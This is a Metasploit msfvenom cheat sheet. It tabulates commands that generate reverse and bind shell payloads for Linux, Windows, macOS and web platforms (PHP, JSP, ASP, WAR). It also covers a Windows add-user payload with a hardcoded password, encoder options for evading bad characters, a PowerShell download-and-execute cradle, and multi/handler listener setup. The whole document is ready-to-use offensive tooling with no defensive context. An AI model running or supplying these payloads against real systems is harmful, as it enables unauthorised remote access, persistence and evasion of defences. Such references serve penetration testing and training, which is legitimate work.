|  |  |  |
| --- | --- | --- |
| **Msfvenom Command** | **Description** | **Payload Bytes** |
| msfvenom -l payloads | List available payloads |  |
| msfvenom -p linux/x86/meterpreter/bind\_tcp --list-options | List options for a specific payload |  |
| msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT> -i <ENCODE COUNT> LHOST=<IP> -b <BAD CHARS> -a <ARCHITECTURE> | Payload Encoding |  |
| msfvenom -p linux/x86/meterpreter/reverse\_tcp LHOST=<IP> LPORT=<PORT> -f elf > shell.elf | Linux Meterpreter reverse shell x86 multi stage | 123 |
| msfvenom -p linux/x86/meterpreter/bind\_tcp RHOST=<IP> LPORT=<PORT> -f elf > shell.elf | Linux Meterpreter bind shell x86 multi stage | 110 |
| msfvenom -p linux/x64/shell\_bind\_tcp RHOST=<IP> LPORT=<PORT> -f elf > shell.elf | Linux bind shell x64 single stage | 86 |
| msfvenom -p linux/x64/shell\_reverse\_tcp RHOST=<IP> LPORT=<PORT> -f elf > shell.elf | Linux reverse shell x64 single stage | 74 |
| msfvenom -p windows/meterpreter/reverse\_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell.exe | Windows Meterpreter reverse shell | 341 |
| msfvenom -p windows/meterpreter/bind\_tcp RHOST= <IP> LPORT=<PORT> -f exe > shell.exe | Windows Meterpreter bind shell | 309 |
| msfvenom -p windows/shell/reverse\_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell.exe | Windows CMD Multi Stage | 341 |
| msfvenom -p windows/shell\_reverse\_tcp LHOST=<IP> LPORT=<PORT> -f exe > shell.exe | Windows CMD Single Stage | 324 |
| msfvenom -p windows/adduser USER=hacker PASS=S3cret1234! -f exe > useradd.exe | Windows add user | 273 |
| msfvenom -p osx/x86/shell\_reverse\_tcp LHOST=<IP> LPORT=<PORT> -f macho > shell.macho | Mac Reverse Shell | 65 |
| msfvenom -p osx/x86/shell\_bind\_tcp RHOST=<IP> LPORT=<PORT> -f macho > shell.macho | Mac Bind shell | 74 |
| msfvenom -p cmd/unix/reverse\_python LHOST=<IP> LPORT=<PORT> -f raw > shell.py | Python Shell | 545 |
| msfvenom -p cmd/unix/reverse\_bash LHOST=<IP> LPORT=<PORT> -f raw > shell.sh | BASH Shell | 69 |
| msfvenom -p cmd/unix/reverse\_perl LHOST=<IP> LPORT=<PORT> -f raw > shell.pl | PERL Shell | 234 |
| msfvenom -p windows/meterpreter/reverse\_tcp LHOST=<IP> LPORT=<PORT> -f asp > shell.asp | ASP Meterpreter shell | 341 |
| msfvenom -p java/jsp\_shell\_reverse\_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.jsp | JSP Shell | 1501 |
| msfvenom -p java/jsp\_shell\_reverse\_tcp LHOST=<IP> LPORT=<PORT> -f war > shell.war | WAR Shell | 1080 |
| msfvenom -p php/meterpreter\_reverse\_tcp LHOST=<IP> LPORT=<PORT> -f raw > shell.php cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php | Php Meterpreter Shell | 30306 |
| msfvenom -p php/reverse\_php LHOST=<IP> LPORT=<PORT> -f raw > phpreverseshell.php | Php Reverse Shell | 3036 |
| msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://<IP>/nishang.ps1')\"" -f python | Windows Exec Nishang Powershell for Python exploit | 269 |
| msfvenom -p windows/shell\_reverse\_tcp LHOST=<IP> LPORT=<PORT> -f perl | Windows reverse shell for PERL exploit | 324 |
| msfvenom -p windows/shell\_reverse\_tcp EXITFUNC=process LHOST=<IP> LPORT=<PORT> -f c -e x86/shikata\_ga\_nai -b "\x04\xA0" | Bad characters shikata\_ga\_nai | 351 |
| msfvenom -p windows/shell\_reverse\_tcp EXITFUNC=process LHOST=<IP> LPORT=<PORT> -f c -e x86/fnstenv\_mov -b "\x04\xA0" | Bad characters fnstenv\_mov | 346 |

**Multihandler Listener:**  
To get multiple session on a single multi/handler, you need to set the ExitOnSession option to false and run the exploit -j instead of just the exploit. For example, for meterpreter/reverse\_tcp payload:

msf>use exploit multi/handler

msf>set payload windows/meterpreter/reverse\_tcp

msf>set lhost <IP>

msf>set lport <PORT>

msf>set ExitOnSession false

msf>exploit -j

The -j option is to keep all the connected session in the background.